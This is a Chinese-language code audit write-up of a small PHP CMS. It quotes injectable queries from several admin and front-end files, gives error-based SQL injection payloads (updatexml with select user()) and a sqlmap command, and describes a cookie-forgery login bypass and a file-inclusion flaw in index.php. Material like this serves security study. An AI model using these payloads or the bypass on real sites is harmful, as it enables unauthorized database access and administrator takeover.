目錄
sql注入
1. admin/files/login.php
2.??admin/files/columnlist.php
3.??admin/files/editcolumn.php
4.??admin/files/editlink.php
5.??admin/files/editsoft.php
6.??admin/files/editwz.php
7.??admin/files/linklist.php
8.??files/software.php
9.? ?files/content.php
文件包含
sql注入
1. admin/files/login.php
$user=$_POST['user'];if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
變量user可控并被帶到sql語句中執行
有單引號,需要閉合
使用了mysql_error函數,使用報錯注入
步驟:
burp抓包,發送到repeater
payload: admin'?and updatexml(1,concat(0x7e,(select user())),1)--+
2.??admin/files/columnlist.php
$delete=$_GET['delete'];$delete2=$_GET['delete2'];if ($delete<>""){
$query = "DELETE FROM nav WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());if ($delete2<>""){
$query = "DELETE FROM navclass WHERE id='$delete2'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
變量delete和delete2可控,并被帶到sql語句中執行,字符型,使用報錯注入
步驟:
把數據包保存成test.txt? python sqlmap.py -r test.txt
3.??admin/files/editcolumn.php
$id=$_GET['id'];
$type=$_GET['type'];if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
要添加變量type=1才會執行SQL語句
payload:
1'+or+updatexml(1,concat(0x7e,(select+user()),0x7e),1)+or+'
editcolumn.php里面不止這里有sql注入,其他執行sql語句的地方也有注入
4.??admin/files/editlink.php
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
都是可控的,存在注入
5.??admin/files/editsoft.php
$id=$_GET['id'];
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
存在注入
6.??admin/files/editwz.php
7.??admin/files/linklist.php
8.??files/software.php
第二個sql語句存在注入,addslashes函數對于數字型過濾無效
9.? ?files/content.php
和8同理
cookie偽造
inc/checklogin.php
變量user為空就退出,讓變量user有值就能繞過鑒權了
訪問http://IP:port/admin/?r=index
就能不用密碼登錄后臺了
文件包含
index.php
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等于index
include('files/'.$action.'.php'); //載入相應文件
變量action可控,并被include函數包含
在根目錄放一個phpinfo